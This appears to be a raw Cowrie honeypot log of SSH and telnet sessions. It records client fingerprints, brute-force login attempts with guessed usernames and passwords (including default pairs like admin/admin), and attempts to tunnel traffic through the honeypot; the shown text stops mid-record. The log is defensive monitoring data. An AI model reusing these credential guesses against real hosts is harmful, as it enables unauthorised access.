{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:52:24.113368Z","src_ip":"103.15.226.202","session":"443c60faf399","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.4699547290802,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:52:28.620621Z","src_ip":"91.235.227.19","session":"39a0bf52e21d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":28774,"dst_ip":"10.17.0.5","dst_port":22,"session":"a993100e2ecc","protocol":"ssh","message":"New connection: 94.26.106.201:28774 (10.17.0.5:22) [session: a993100e2ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:52:36.489227Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:52:36.494698Z","src_ip":"94.26.106.201","session":"a993100e2ecc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":28778,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd2068b81a23","protocol":"ssh","message":"New connection: 94.26.106.201:28778 (10.17.0.5:22) [session: fd2068b81a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:52:36.599110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:52:36.604023Z","src_ip":"94.26.106.201","session":"fd2068b81a23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:52:36.689626Z","src_ip":"94.26.106.201","session":"fd2068b81a23","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:52:36.861898Z","src_ip":"94.26.106.201","session":"fd2068b81a23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"94.26.106.201","dst_port":80,"src_ip":"94.26.106.201","src_port":5555,"message":"direct-tcp connection request to 94.26.106.201:80 from 127.0.0.1:5555","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:52:36.952249Z","session":"fd2068b81a23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"94.26.106.201","dst_port":80,"data":"b'9XajaSVJUqphG1uoqU79Cf1U5NpMITsPlifpP328Y01coaZRcP'","id":0,"message":"discarded direct-tcp forward request 0 to 94.26.106.201:80 with data b'9XajaSVJUqphG1uoqU79Cf1U5NpMITsPlifpP328Y01coaZRcP'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:52:37.038493Z","src_ip":"94.26.106.201","session":"fd2068b81a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:52:37.140388Z","src_ip":"94.26.106.201","session":"fd2068b81a23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":57776,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb28ba003ba9","protocol":"ssh","message":"New connection: 103.15.226.202:57776 (10.17.0.5:22) [session: fb28ba003ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:55:57.932249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:55:57.939039Z","src_ip":"103.15.226.202","session":"fb28ba003ba9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:55:58.182968Z","src_ip":"103.15.226.202","session":"fb28ba003ba9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Itsemoemo2025@Washere2025","message":"login attempt [root/Itsemoemo2025@Washere2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:55:58.913760Z","src_ip":"103.15.226.202","session":"fb28ba003ba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:56:00.159756Z","src_ip":"103.15.226.202","session":"fb28ba003ba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.183.192","src_port":55912,"dst_ip":"10.17.0.5","dst_port":23,"session":"10d9cfb3c798","protocol":"telnet","message":"New connection: 103.153.183.192:55912 (10.17.0.5:23) [session: 10d9cfb3c798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:56:18.118552Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12590,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a18f3fcf8b8","protocol":"ssh","message":"New connection: 87.251.64.176:12590 (10.17.0.5:22) [session: 1a18f3fcf8b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:56:43.926003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:56:43.932894Z","src_ip":"87.251.64.176","session":"1a18f3fcf8b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:56:44.033217Z","src_ip":"87.251.64.176","session":"1a18f3fcf8b8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:56:44.324931Z","src_ip":"87.251.64.176","session":"1a18f3fcf8b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":35115,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5318c7d0622","protocol":"ssh","message":"New connection: 193.24.211.100:35115 (159.203.135.109:22) [session: b5318c7d0622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:56:44.387560Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:56:44.429362Z","session":"1a18f3fcf8b8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:56:44.527200Z","src_ip":"87.251.64.176","session":"1a18f3fcf8b8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:56:44.619980Z","src_ip":"193.24.211.100","session":"b5318c7d0622","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:56:44.623990Z","src_ip":"193.24.211.100","session":"b5318c7d0622","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:56:44.762627Z","src_ip":"87.251.64.176","session":"1a18f3fcf8b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"demo","message":"login attempt [admin/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:56:45.170829Z","src_ip":"193.24.211.100","session":"b5318c7d0622","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:56:46.282675Z","src_ip":"193.24.211.100","session":"b5318c7d0622","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.02195024490356,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:58:18.140312Z","src_ip":"103.153.183.192","session":"10d9cfb3c798","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":54228,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a8c79f8b605","protocol":"telnet","message":"New connection: 129.232.238.42:54228 (159.203.135.109:23) [session: 8a8c79f8b605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:58:39.521158Z"}
{"eventid":"cowrie.session.closed","duration":46.69033741950989,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:59:26.211367Z","src_ip":"129.232.238.42","session":"8a8c79f8b605","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":37262,"dst_ip":"10.17.0.5","dst_port":22,"session":"56f1f8740742","protocol":"ssh","message":"New connection: 103.15.226.202:37262 (10.17.0.5:22) [session: 56f1f8740742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:59:34.395672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:59:34.400615Z","src_ip":"103.15.226.202","session":"56f1f8740742","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:59:34.661639Z","src_ip":"103.15.226.202","session":"56f1f8740742","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"curl","password":"welltech12","message":"login attempt [curl/welltech12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:59:35.432578Z","src_ip":"103.15.226.202","session":"56f1f8740742","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:59:36.692793Z","src_ip":"103.15.226.202","session":"56f1f8740742","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":28968,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fc328db1b8f","protocol":"ssh","message":"New connection: 213.209.159.56:28968 (10.17.0.5:22) [session: 0fc328db1b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:02:35.728616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:02:35.733384Z","src_ip":"213.209.159.56","session":"0fc328db1b8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:02:35.817023Z","src_ip":"213.209.159.56","session":"0fc328db1b8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maira","password":"maira","message":"login attempt [maira/maira] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:02:36.225624Z","src_ip":"213.209.159.56","session":"0fc328db1b8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maira","password":"maira1","message":"login attempt [maira/maira1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:02:37.317465Z","src_ip":"213.209.159.56","session":"0fc328db1b8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maira","password":"maira123","message":"login attempt [maira/maira123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:02:38.404440Z","src_ip":"213.209.159.56","session":"0fc328db1b8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maira","password":"maira1234","message":"login attempt [maira/maira1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:02:39.491460Z","src_ip":"213.209.159.56","session":"0fc328db1b8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maira","password":"maira12345","message":"login attempt [maira/maira12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:02:40.578797Z","src_ip":"213.209.159.56","session":"0fc328db1b8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:02:41.664764Z","src_ip":"213.209.159.56","session":"0fc328db1b8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":60272,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb40817f40f1","protocol":"ssh","message":"New connection: 103.15.226.202:60272 (10.17.0.5:22) [session: eb40817f40f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:10.729683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:10.734874Z","src_ip":"103.15.226.202","session":"eb40817f40f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@